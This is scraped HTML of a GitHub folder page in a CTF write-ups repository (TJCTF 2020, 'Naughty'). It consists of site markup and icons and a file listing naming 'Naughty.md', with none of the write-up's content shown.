.75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> PWN-to-0xE4 </span> <span>/</span> Writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>10</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/PWN-to-0xE4/Writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":267159226,"originating_url":"https://github.com/PWN-to-0xE4/Writeups/tree/master/TJCTF%202020/Naughty","user_id":null}}" data-hydro-click-hmac="241f37f5fd0e1bb1414feea4c39593236fe5f8c480a8ff685094e57c65f2ef52"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/PWN-to-0xE4/Writeups/refs" cache-key="v0:1590529796.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="UFdOLXRvLTB4RTQvV3JpdGV1cHM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/PWN-to-0xE4/Writeups/refs" cache-key="v0:1590529796.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="UFdOLXRvLTB4RTQvV3JpdGV1cHM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>Writeups</span></span></span><span>/</span><span><span>TJCTF 2020</span></span><span>/</span>Naughty<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>Writeups</span></span></span><span>/</span><span><span>TJCTF 2020</span></span><span>/</span>Naughty<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/PWN-to-0xE4/Writeups/tree-commit/cb84d3d5cfffa1ad2fd356b84e2195539aa02bf3/TJCTF%202020/Naughty" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/PWN-to-0xE4/Writeups/file-list/master/TJCTF%202020/Naughty"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Naughty.md</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
